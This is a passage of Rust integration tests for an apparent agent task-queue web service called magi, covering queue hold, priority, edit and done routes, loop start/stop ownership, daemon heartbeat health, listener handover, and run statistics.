6925        let queue = f.queue();
6926        let mut task = Task::new(
6927            "busy".to_owned(),
6928            "Running right now".to_owned(),
6929            PathBuf::from("/repo/magi"),
6930            Source::Human,
6931        );
6932        queue.put(&mut task).expect("file the task");
6933        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6934
6935        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6936
6937        assert_eq!(res.status, 409);
6938        assert_eq!(
6939            queue.get(&task.id).expect("reload").status,
6940            TaskStatus::Queued,
6941            "the refused hold changed nothing"
6942        );
6943    }
6944
6945    #[tokio::test]
6946    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6947        let f = Fixture::start().await;
6948        let queue = f.queue();
6949        let mut task = Task::new(
6950            "waiting on the migration".to_owned(),
6951            "Do the thing".to_owned(),
6952            PathBuf::from("/repo/magi"),
6953            Source::Human,
6954        );
6955        queue.put(&mut task).expect("file the task");
6956
6957        let held = f
6958            .post(
6959                &format!("/api/queue/{}/hold", task.id),
6960                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6961            )
6962            .await;
6963        assert_eq!(held.status, 200, "{}", held.body);
6964        assert_eq!(held.json()["status_str"], "held");
6965        assert_eq!(
6966            held.json()["hold_reason"],
6967            "waiting for 20260101-000000-aaaa to land"
6968        );
6969
6970        let listed = f.get("/api/queue").await.json();
6971        assert_eq!(
6972            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6973            "the card reads the reason off the same list route"
6974        );
6975
6976        // A hold with no body at all must keep working - most holds have no
6977        // reason to give.
6978        let mut plain = Task::new(
6979            "no reason given".to_owned(),
6980            "Do another thing".to_owned(),
6981            PathBuf::from("/repo/magi"),
6982            Source::Human,
6983        );
6984        queue.put(&mut plain).expect("file the task");
6985        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6986        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6987        assert!(held_plain.json()["hold_reason"].is_null());
6988
6989        let released = f
6990            .post(&format!("/api/queue/{}/release", task.id), None)
6991            .await;
6992        assert_eq!(released.status, 200);
6993        assert!(
6994            released.json()["hold_reason"].is_null(),
6995            "a release must clear the reason so the next hold does not inherit it"
6996        );
6997    }
6998
6999    #[tokio::test]
7000    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7001        let f = Fixture::start().await;
7002        let queue = f.queue();
7003        let mut older = Task::new(
7004            "filed first".to_owned(),
7005            "x".to_owned(),
7006            PathBuf::from("/repo/magi"),
7007            Source::Human,
7008        );
7009        older.id = "20260101-000001-aaaa".to_owned();
7010        let mut newer = Task::new(
7011            "filed second".to_owned(),
7012            "x".to_owned(),
7013            PathBuf::from("/repo/magi"),
7014            Source::Human,
7015        );
7016        newer.id = "20260101-000002-bbbb".to_owned();
7017        queue.put(&mut older).expect("file older");
7018        queue.put(&mut newer).expect("file newer");
7019
7020        // Equal priority: the newer task leads, the same order the old
7021        // newest-first `list()` already gave every equal-priority queue.
7022        let before = f.get("/api/queue").await.json();
7023        assert_eq!(before[0]["id"], newer.id);
7024        assert_eq!(before[1]["id"], older.id);
7025
7026        // Raising the *older* task is the meaningful case: it can only lead
7027        // now because its priority says so, not because it happens to be
7028        // newest.
7029        let raised = f
7030            .post(
7031                &format!("/api/queue/{}/priority", older.id),
7032                Some(r#"{"priority":10}"#),
7033            )
7034            .await;
7035        assert_eq!(raised.status, 200, "{}", raised.body);
7036        assert_eq!(raised.json()["priority"], 10);
7037
7038        let after = f.get("/api/queue").await.json();
7039        let names: Vec<&str> = after
7040            .as_array()
7041            .unwrap()
7042            .iter()
7043            .map(|t| t["id"].as_str().unwrap())
7044            .collect();
7045        // Highest priority first, which is the order next_runnable and
7046        // `magi task list` both use - GET /api/queue must agree with it
7047        // immediately, not just once the loop claims the task.
7048        assert_eq!(names[0], older.id, "the raised task now sorts first");
7049    }
7050
7051    #[tokio::test]
7052    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
7053        let f = Fixture::start().await;
7054        let queue = f.queue();
7055        let mut task = Task::new(
7056            "in flight".to_owned(),
7057            "x".to_owned(),
7058            PathBuf::from("/repo/magi"),
7059            Source::Human,
7060        );
7061        task.start("20260902-140502-bbbb".to_owned());
7062        queue.put(&mut task).expect("file the task");
7063
7064        let res = f
7065            .post(
7066                &format!("/api/queue/{}/priority", task.id),
7067                Some(r#"{"priority":9}"#),
7068            )
7069            .await;
7070        assert_eq!(res.status, 400, "{}", res.body);
7071        assert!(
7072            res.json()["error"]
7073                .as_str()
7074                .is_some_and(|e| e.contains("running")),
7075            "{}",
7076            res.body
7077        );
7078        assert_eq!(
7079            queue.get(&task.id).expect("reload").priority,
7080            0,
7081            "the refused write must not partially apply"
7082        );
7083    }
7084
7085    #[tokio::test]
7086    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7087        let f = Fixture::start().await;
7088        let queue = f.queue();
7089        let mut task = Task::new(
7090            "old title".to_owned(),
7091            "old instruction".to_owned(),
7092            PathBuf::from("/repo/magi"),
7093            Source::Agent {
7094                run: "20260101-000000-beef".to_owned(),
7095                node: "implement".to_owned(),
7096            },
7097        );
7098        task.runs.push("20260101-000000-beef".to_owned());
7099        queue.put(&mut task).expect("file the task");
7100        let created_at = task.created_at;
7101
7102        let edited = f
7103            .post(
7104                &format!("/api/queue/{}/edit", task.id),
7105                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7106            )
7107            .await;
7108        assert_eq!(edited.status, 200, "{}", edited.body);
7109        let body = edited.json();
7110        assert_eq!(body["title"], "new title");
7111        assert_eq!(body["instruction"], "new instruction");
7112        assert_eq!(body["id"], task.id, "editing must not mint a new id");
7113        assert_eq!(body["created_at"], created_at.to_string());
7114        assert_eq!(
7115            body["source"]["kind"], "agent",
7116            "editing a task an agent filed must not turn it human: {body}"
7117        );
7118        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7119
7120        let reloaded = queue.get(&task.id).expect("reload");
7121        assert_eq!(reloaded.title, "new title");
7122        assert_eq!(reloaded.instruction, "new instruction");
7123    }
7124
7125    #[tokio::test]
7126    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7127        let f = Fixture::start().await;
7128        let queue = f.queue();
7129        let mut task = Task::new(
7130            "in flight".to_owned(),
7131            "do not touch".to_owned(),
7132            PathBuf::from("/repo/magi"),
7133            Source::Human,
7134        );
7135        task.start("20260902-140502-bbbb".to_owned());
7136        queue.put(&mut task).expect("file the task");
7137
7138        let res = f
7139            .post(
7140                &format!("/api/queue/{}/edit", task.id),
7141                Some(r#"{"title":"x","instruction":"y"}"#),
7142            )
7143            .await;
7144        assert_eq!(res.status, 400, "{}", res.body);
7145        assert!(
7146            res.json()["error"]
7147                .as_str()
7148                .is_some_and(|e| e.contains("running")),
7149            "{}",
7150            res.body
7151        );
7152        assert_eq!(
7153            queue.get(&task.id).expect("reload").instruction,
7154            "do not touch",
7155            "the refused edit must not change the file"
7156        );
7157    }
7158
7159    #[tokio::test]
7160    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7161        let f = Fixture::start().await;
7162        let queue = f.queue();
7163        let mut task = Task::new(
7164            "busy".to_owned(),
7165            "Running right now".to_owned(),
7166            PathBuf::from("/repo/magi"),
7167            Source::Human,
7168        );
7169        queue.put(&mut task).expect("file the task");
7170        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7171
7172        let priority = f
7173            .post(
7174                &format!("/api/queue/{}/priority", task.id),
7175                Some(r#"{"priority":9}"#),
7176            )
7177            .await;
7178        assert_eq!(priority.status, 409, "{}", priority.body);
7179
7180        let edit = f
7181            .post(
7182                &format!("/api/queue/{}/edit", task.id),
7183                Some(r#"{"title":"x","instruction":"y"}"#),
7184            )
7185            .await;
7186        assert_eq!(edit.status, 409, "{}", edit.body);
7187    }
7188
7189    #[tokio::test]
7190    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7191        let f = Fixture::start().await;
7192        let queue = f.queue();
7193        let mut task = Task::new(
7194            "shipped by hand".to_owned(),
7195            "merged outside the loop".to_owned(),
7196            PathBuf::from("/repo/magi"),
7197            Source::Agent {
7198                run: "20260101-000000-b455".to_owned(),
7199                node: "implement".to_owned(),
7200            },
7201        );
7202        task.runs.push("20260101-000000-b455".to_owned());
7203        task.runs.push("20260101-000000-9af4".to_owned());
7204        queue.put(&mut task).expect("file the task");
7205        let created_at = task.created_at;
7206
7207        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7208        assert_eq!(done.status, 200, "{}", done.body);
7209        assert_eq!(done.json()["status_str"], "done");
7210
7211        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7212        assert_eq!(
7213            reloaded.runs,
7214            ["20260101-000000-b455", "20260101-000000-9af4"]
7215        );
7216        assert_eq!(
7217            reloaded.source,
7218            Source::Agent {
7219                run: "20260101-000000-b455".to_owned(),
7220                node: "implement".to_owned(),
7221            }
7222        );
7223        assert_eq!(reloaded.created_at, created_at);
7224    }
7225
7226    #[tokio::test]
7227    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7228        // `done` is allowed on any status, including `held`, with no release
7229        // in between - so a task held for a reason and then closed directly
7230        // must not keep reading as "waiting on" it afterwards, on its card or
7231        // in `magi task show`.
7232        let f = Fixture::start().await;
7233        let queue = f.queue();
7234        let mut task = Task::new(
7235            "landed while held".to_owned(),
7236            "x".to_owned(),
7237            PathBuf::from("/repo/magi"),
7238            Source::Human,
7239        );
7240        task.hold_manual(Some("waiting on 3ed9".to_owned()));
7241        queue.put(&mut task).expect("file the held task");
7242
7243        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7244        assert_eq!(done.status, 200, "{}", done.body);
7245        assert_eq!(done.json()["status_str"], "done");
7246        assert!(
7247            done.json()["hold_reason"].is_null(),
7248            "a done task cannot still be waiting on something: {}",
7249            done.body
7250        );
7251    }
7252
7253    #[tokio::test]
7254    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7255        // `queue_done` is the phone's way to close a task the loop never
7256        // settled itself - after confirming a manual GitHub merge, say - and
7257        // that is just as much "this task's story is over" as the loop's own
7258        // `Merged`/`Ready` path, so it must trigger the same cleanup.
7259        let f = Fixture::start().await;
7260        let queue = f.queue();
7261        let runs = f.runs();
7262        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7263        // The last attempt has to have actually landed for the earlier one
7264        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
7265        // for the case where it didn't.
7266        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7267
7268        let mut task = Task::new(
7269            "landed by hand".to_owned(),
7270            "x".to_owned(),
7271            PathBuf::from("/repo/magi"),
7272            Source::Human,
7273        );
7274        task.runs.push("20260101-000000-doa1".to_owned());
7275        task.runs.push("20260101-000000-doa2".to_owned());
7276        queue.put(&mut task).expect("file the task");
7277
7278        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7279        assert_eq!(done.status, 200, "{}", done.body);
7280
7281        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7282            .expect("run still on disk under this fixture's own home");
7283        assert_eq!(
7284            reloaded_run.status,
7285            RunStatus::Superseded,
7286            "closing the task by hand must relabel the earlier blocked attempt exactly \
7287             like the loop's own settle path does"
7288        );
7289    }
7290
7291    #[tokio::test]
7292    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7293        // Closing a task by hand is allowed from any status, including one
7294        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
7295        // manual merge the loop never watched, say. Nothing here is provably
7296        // why the task is done, so nothing earlier gets relabelled either.
7297        let f = Fixture::start().await;
7298        let queue = f.queue();
7299        let runs = f.runs();
7300        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7301        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7302
7303        let mut task = Task::new(
7304            "closed with nothing actually landed".to_owned(),
7305            "x".to_owned(),
7306            PathBuf::from("/repo/magi"),
7307            Source::Human,
7308        );
7309        task.runs.push("20260101-000000-dob1".to_owned());
7310        task.runs.push("20260101-000000-dob2".to_owned());
7311        queue.put(&mut task).expect("file the task");
7312
7313        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7314        assert_eq!(done.status, 200, "{}", done.body);
7315
7316        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7317            .expect("run still on disk under this fixture's own home");
7318        assert_eq!(
7319            reloaded_run.status,
7320            RunStatus::Blocked,
7321            "the last recorded attempt never landed, so the earlier one must not be \
7322             relabelled as superseded by it"
7323        );
7324    }
7325
7326    #[tokio::test]
7327    async fn unknown_ids_are_json_not_found_on_both_stores() {
7328        let f = Fixture::start().await;
7329
7330        let run = f.get("/api/runs/nosuchrun").await;
7331        let task = f.post("/api/queue/nosuchtask/hold", None).await;
7332
7333        assert_eq!(run.status, 404);
7334        assert_eq!(task.status, 404);
7335        assert!(
7336            run.json()["error"]
7337                .as_str()
7338                .is_some_and(|e| e.contains("run")),
7339            "the error names what was not found: {}",
7340            run.body
7341        );
7342        assert!(
7343            task.json()["error"]
7344                .as_str()
7345                .is_some_and(|e| e.contains("task")),
7346            "the error names what was not found: {}",
7347            task.body
7348        );
7349    }
7350
7351    #[tokio::test]
7352    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7353        let f = Fixture::start().await;
7354
7355        let missing = f.get("/api/health").await.json();
7356        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7357
7358        write_daemon(
7359            f.home.path(),
7360            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7361        );
7362        let stale = f.get("/api/health").await.json();
7363        assert_eq!(
7364            stale["daemon"]["running"], false,
7365            "a minute without a heartbeat is a dead daemon, not a busy one"
7366        );
7367        assert!(
7368            stale["daemon"]["stale_for_secs"]
7369                .as_i64()
7370                .is_some_and(|s| s >= 55),
7371            "staleness is reported so the UI can say how long: {stale}"
7372        );
7373
7374        write_daemon(f.home.path(), Timestamp::now());
7375        let fresh = f.get("/api/health").await.json();
7376        assert_eq!(fresh["daemon"]["running"], true);
7377        assert_eq!(fresh["daemon"]["idle"], false);
7378        assert_eq!(fresh["daemon"]["pid"], 4242);
7379        assert_eq!(fresh["daemon"]["completed"], 7);
7380        assert_eq!(
7381            fresh["daemon"]["current"][0]["task"],
7382            "20260902-140501-aaaa"
7383        );
7384        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7385    }
7386
7387    #[tokio::test]
7388    async fn the_loop_is_not_running_until_something_starts_it() {
7389        let f = Fixture::start().await;
7390
7391        let view = f.get("/api/loop").await.json();
7392        assert_eq!(view["running"], false);
7393        assert_eq!(
7394            view["owned"], false,
7395            "nobody owns a loop that does not exist: {view}"
7396        );
7397        assert_eq!(view["stopping"], false);
7398        assert_eq!(view["last_error"], Value::Null);
7399        assert_eq!(view["daemon"]["running"], false);
7400        assert_eq!(
7401            view["repo"], "/repo/magi",
7402            "the repository a start would use, named before it is started"
7403        );
7404    }
7405
7406    #[tokio::test]
7407    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7408        let f = Fixture::start().await;
7409
7410        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7411        assert_eq!(res.status, 200, "{}", res.body);
7412        let view = res.json();
7413        assert_eq!(view["running"], true);
7414        assert_eq!(
7415            view["owned"], true,
7416            "the loop the UI started is the UI's own to stop: {view}"
7417        );
7418        assert_eq!(
7419            view["merge"],
7420            Value::Null,
7421            "no override was given, so each repository's own config decides"
7422        );
7423
7424        // The same object from the route a waking phone polls first. Two
7425        // surfaces disagreeing about whether anything is running is exactly
7426        // the confusion this UI exists to remove.
7427        let health = f.get("/api/health").await.json();
7428        assert_eq!(health["loop"]["running"], true, "{health}");
7429        assert_eq!(health["loop"]["owned"], true, "{health}");
7430
7431        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7432    }
7433
7434    #[tokio::test]
7435    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7436        let f = Fixture::start().await;
7437        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7438        assert_eq!(first.status, 200, "{}", first.body);
7439
7440        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7441        assert_eq!(
7442            again.status, 409,
7443            "two loops on one queue race for the same claims: {}",
7444            again.body
7445        );
7446        assert!(
7447            again.json()["error"]
7448                .as_str()
7449                .is_some_and(|e| e.contains("already running the loop")),
7450            "the refusal has to say why: {}",
7451            again.body
7452        );
7453        assert_eq!(
7454            f.get("/api/loop").await.json()["running"],
7455            true,
7456            "and the loop that was already running is untouched by it"
7457        );
7458
7459        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7460    }
7461
7462    #[tokio::test]
7463    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7464        let f = Fixture::start().await;
7465        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7466
7467        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7468        assert_eq!(
7469            res.status, 200,
7470            "the answer must not wait for the loop: a run in flight is tens of \
7471             minutes and the operator is holding a phone: {}",
7472            res.body
7473        );
7474
7475        let view = settled(&f, |v| v["running"] == false).await;
7476        assert_eq!(view["owned"], false);
7477        assert_eq!(
7478            view["stopping"], false,
7479            "a loop that has stopped is not still stopping: {view}"
7480        );
7481        assert_eq!(
7482            view["last_error"],
7483            Value::Null,
7484            "a loop that was asked to stop did not fail: {view}"
7485        );
7486
7487        // Idempotent, because the operator cannot tell a slow stop from a lost
7488        // one and will press it again.
7489        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7490        assert_eq!(twice.status, 200, "{}", twice.body);
7491    }
7492
7493    #[tokio::test]
7494    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7495        let f = Fixture::start().await;
7496        // How the operator has been doing it: a `magi serve` of their own,
7497        // heartbeat fresh, in the same home this UI reads.
7498        write_daemon(f.home.path(), Timestamp::now());
7499
7500        let view = f.get("/api/loop").await.json();
7501        assert_eq!(view["running"], false, "not in this process: {view}");
7502        assert_eq!(view["owned"], false, "and not this process's to control");
7503        assert_eq!(
7504            view["daemon"]["running"], true,
7505            "but a loop is alive somewhere, which is what the UI must say"
7506        );
7507        assert_eq!(view["daemon"]["pid"], 4242);
7508
7509        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7510            let res = f.post("/api/loop", Some(body)).await;
7511            assert_eq!(
7512                res.status, 409,
7513                "neither button may pretend to work on someone else's loop: {}",
7514                res.body
7515            );
7516            assert!(
7517                res.json()["error"]
7518                    .as_str()
7519                    .is_some_and(|e| e.contains("4242")),
7520                "the refusal has to name the process the operator must go to: {}",
7521                res.body
7522            );
7523        }
7524        assert_eq!(
7525            f.get("/api/loop").await.json()["running"],
7526            false,
7527            "and the refusal started nothing"
7528        );
7529    }
7530
7531    #[tokio::test]
7532    async fn a_stale_status_file_is_not_a_foreign_owner() {
7533        let f = Fixture::start().await;
7534        write_daemon(
7535            f.home.path(),
7536            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7537        );
7538
7539        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7540        assert_eq!(
7541            res.status, 200,
7542            "a daemon killed a minute ago must not lock the loop out of its \
7543             own home for good: {}",
7544            res.body
7545        );
7546        assert_eq!(res.json()["running"], true);
7547
7548        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7549    }
7550
7551    #[tokio::test]
7552    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7553        let f = Fixture::start().await;
7554        let before = f.get("/api/health").await.json()["loop_rev"]
7555            .as_u64()
7556            .expect("a loop revision");
7557
7558        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7559
7560        let after = f.get("/api/health").await.json()["loop_rev"]
7561            .as_u64()
7562            .expect("a loop revision");
7563        assert!(
7564            after > before,
7565            "the loop is in-process state, so this counter is the only thing \
7566             that tells a second device the first one started it: {before} -> \
7567             {after}"
7568        );
7569
7570        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7571    }
7572
7573    #[tokio::test]
7574    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7575        let f = Fixture::with_loop(launch_broken).await;
7576
7577        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7578        assert_eq!(
7579            res.status, 200,
7580            "starting it is not the failure: {}",
7581            res.body
7582        );
7583
7584        let view = settled(&f, |v| v["last_error"].is_string()).await;
7585        assert_eq!(
7586            view["running"], false,
7587            "a loop that died must not read as running, or the operator has \
7588             nothing to press: {view}"
7589        );
7590        assert_eq!(view["owned"], false);
7591        assert!(
7592            view["last_error"]
7593                .as_str()
7594                .is_some_and(|e| e.contains("read-only file system")),
7595            "the phone is where a loop that died at 3am is visible: {view}"
7596        );
7597
7598        // And it can be started again: the corpse was reaped, not left to
7599        // occupy the slot.
7600        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7601        assert_eq!(again.status, 200, "{}", again.body);
7602        assert_eq!(
7603            again.json()["last_error"],
7604            Value::Null,
7605            "a fresh start does not keep showing why the last one died"
7606        );
7607    }
7608
7609    /// An upgrade parks the run in flight before it restarts, and a park waits
7610    /// for the node - up to `timeout_implement`, an hour by default. The deck
7611    /// has to answer for all of it: the operator has just been told a run is
7612    /// finishing first, and this address is the only place that says how it is
7613    /// going. It did not, once - the listener went with the `select!` arm that
7614    /// began the handover, and the phone got `Cannot reach magi: Failed to
7615    /// fetch` for the rest of the wave.
7616    ///
7617    /// The other half is the older rule: the address must be free *before* the
7618    /// successor is started, or it dies on "address already in use" with its
7619    /// stdio sent to null and the deck never comes back.
7620    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7621    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7622        let home = TempDir::new().expect("temp home");
7623        let runs = home.path().join("runs");
7624        std::fs::create_dir_all(&runs).expect("runs dir");
7625        let ui = Ui::new(
7626            Queue::at(home.path().join("queue")),
7627            Questions::at(home.path().join("questions")),
7628            Talks::at(home.path().join("talks")),
7629            runs,
7630            home.path().to_path_buf(),
7631            PathBuf::from("/repo/magi"),
7632        )
7633        .with_worktrees_root(home.path().join("wt"))
7634        .with_launch(launch_knocking_on_the_way_out);
7635        let looping = ui.looping();
7636        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7637            .await
7638            .expect("bind loopback");
7639        let addr = listener.local_addr().expect("local addr");
7640        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7641        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7642
7643        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7644        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7645
7646        // The successor's whole job, and the one thing it cannot do while this
7647        // process still holds the socket.
7648        //
7649        // One bind is not enough, and the reason is not this process's order of
7650        // operations: aborting the accept loop drops the listener, but axum
7651        // serves each accepted connection on a task of its own, and those are
7652        // not aborted. The requests above left sockets on this very address,
7653        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
7654        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
7655        // Production absorbs that in `bind_waiting`; so does this. Only
7656        // `AddrInUse` is retried, and the listener is released before the
7657        // closure returns - were the order wrong, the listener would outlive
7658        // the closure and every attempt would fail. Inferred from the bind
7659        // rules and the code; not reproduced on macOS.
7660        let bound = std::sync::Mutex::new(None);
7661        hand_over(home.path(), &looping, served, || {
7662            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7663            let attempt = loop {
7664                match std::net::TcpListener::bind(addr) {
7665                    Ok(l) => {
7666                        drop(l);
7667                        break Ok(());
7668                    }
7669                    Err(e)
7670                        if e.kind() == std::io::ErrorKind::AddrInUse
7671                            && std::time::Instant::now() < deadline =>
7672                    {
7673                        std::thread::sleep(std::time::Duration::from_millis(10));
7674                    }
7675                    Err(e) => break Err(e.to_string()),
7676                }
7677            };
7678            *bound.lock().expect("bound") = Some(attempt);
7679            Ok(())
7680        })
7681        .await
7682        .expect("hand over");
7683
7684        assert_eq!(
7685            *PARK_HEARD.lock().expect("park heard"),
7686            Some(200),
7687            "the deck must answer while the loop is parking"
7688        );
7689        let attempt = bound
7690            .lock()
7691            .expect("bound")
7692            .take()
7693            .expect("the successor was started");
7694        assert!(
7695            attempt.is_ok(),
7696            "and the address must be free by the time it is: {attempt:?}"
7697        );
7698    }
7699
7700    #[tokio::test]
7701    async fn a_newer_daemon_status_file_still_renders() {
7702        let f = Fixture::start().await;
7703        // A field this build has never heard of must not turn the status line
7704        // into a 500; that is the whole reason the reader is permissive.
7705        std::fs::write(
7706            f.home.path().join("daemon.json"),
7707            serde_json::json!({
7708                "schema": 2,
7709                "updated_at": Timestamp::now().to_string(),
7710                "idle": true,
7711                "surprise": { "nested": [1, 2, 3] },
7712            })
7713            .to_string(),
7714        )
7715        .expect("write daemon.json");
7716
7717        let health = f.get("/api/health").await;
7718
7719        assert_eq!(health.status, 200);
7720        assert_eq!(health.json()["daemon"]["running"], true);
7721    }
7722
7723    #[tokio::test]
7724    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7725        let f = Fixture::start().await;
7726        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7727        let broken = f.runs().join("20260902-140502-bad");
7728        std::fs::create_dir_all(&broken).expect("run dir");
7729        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7730
7731        let list = f.get("/api/runs").await;
7732        let detail = f.get("/api/runs/20260902-140502-bad").await;
7733
7734        assert_eq!(list.status, 200);
7735        let listed = list.json();
7736        let ids: Vec<&str> = listed
7737            .as_array()
7738            .expect("an array")
7739            .iter()
7740            .map(|r| r["id"].as_str().expect("an id"))
7741            .collect();
7742        assert_eq!(
7743            ids,
7744            vec!["20260902-140501-good"],
7745            "one unreadable run must not cost the operator the whole history"
7746        );
7747        assert_eq!(detail.status, 500);
7748        assert!(
7749            detail.json()["error"]
7750                .as_str()
7751                .is_some_and(|e| e.contains("run.json")),
7752            "the failure names the file to look at: {}",
7753            detail.body
7754        );
7755        // A skipped run has to be countable somewhere, or the UI shows an
7756        // empty history with nothing to explain it - which is exactly what a
7757        // directory full of older-schema runs looks like.
7758        let health = f.get("/api/health").await;
7759        assert_eq!(health.json()["runs_unreadable"], 1);
7760    }
7761
7762    /// The dashboard reads every run's state itself rather than trusting a
7763    /// separately-maintained count, so an unreadable run must be counted the
7764    /// same way `/api/health` counts it - never silently dropped the way the
7765    /// CLI's own `stats::load_all` drops it.
7766    #[tokio::test]
7767    async fn stats_runs_unreadable_matches_health() {
7768        let f = Fixture::start().await;
7769        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7770        let broken = f.runs().join("20260902-140502-bad");
7771        std::fs::create_dir_all(&broken).expect("run dir");
7772        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7773
7774        let stats = f.get("/api/stats").await;
7775        let health = f.get("/api/health").await;
7776
7777        assert_eq!(stats.status, 200);
7778        assert_eq!(stats.json()["totals"]["runs"], 1);
7779        assert_eq!(stats.json()["runs_unreadable"], 1);
7780        assert_eq!(
7781            stats.json()["runs_unreadable"],
7782            health.json()["runs_unreadable"],
7783            "the dashboard and /api/health must never disagree about how many \
7784             runs could not be read"
7785        );
7786    }
7787
7788    #[tokio::test]
7789    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7790        let f = Fixture::start().await;
7791        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7792        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7793        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7794
7795        let totals = &f.get("/api/stats").await.json()["totals"];
7796        assert_eq!(totals["runs"], 3);
7797        assert_eq!(totals["merged"], 1);
7798        assert_eq!(totals["stalled"], 1);
7799        assert_eq!(totals["in_progress"], 1);
7800        // A stalled run must never read as blocked/merged/ready - it is its
7801        // own bucket, not folded into a "decided" one.
7802        assert_eq!(totals["blocked"], 0);
7803        assert_eq!(totals["ready"], 0);
7804    }
7805
7806    #[tokio::test]
7807    async fn stats_advisors_report_proposals_and_reflection() {
7808        use crate::advise::{Advice, AdvisorRecord, Reflection};
7809        use crate::verdict::Proposal;
7810
7811        let f = Fixture::start().await;
7812        let mut state = RunState::new(
7813            PathBuf::from("/repo/magi"),
7814            "main".to_owned(),
7815            "0123456789abcdef".to_owned(),
7816            "task".to_owned(),
7817            Config::default(),
7818        );
7819        state.id = "20260902-140501-a".to_owned();
7820        state.status = RunStatus::Merged;
7821        state.advice = Some(Advice {
7822            records: vec![
7823                AdvisorRecord {
7824                    seat: "advisor-1".to_owned(),
7825                    agent: "alpha".to_owned(),
7826                    proposal: Some(Proposal {
7827                        approach: "do it".to_owned(),
7828                        key_tradeoff: "speed over memory".to_owned(),
7829                        risks: Vec::new(),
7830                        touches: Vec::new(),
7831                        why_not_naive: "breaks under load".to_owned(),
7832                    }),
7833                    error: None,
7834                    duration_ms: 0,
7835                    reflection: Reflection::Strong,
7836                },
7837                AdvisorRecord {
7838                    seat: "advisor-2".to_owned(),
7839                    agent: "alpha".to_owned(),
7840                    proposal: None,
7841                    error: Some("timed out".to_owned()),
7842                    duration_ms: 0,
7843                    reflection: Reflection::Absent,
7844                },
7845            ],
7846            synthesis: Some("blended brief".to_owned()),
7847        });
7848        let dir = f.runs().join(&state.id);
7849        std::fs::create_dir_all(&dir).expect("run dir");
7850        std::fs::write(
7851            dir.join("run.json"),
7852            serde_json::to_string_pretty(&state).expect("serialize run"),
7853        )
7854        .expect("write run.json");
7855
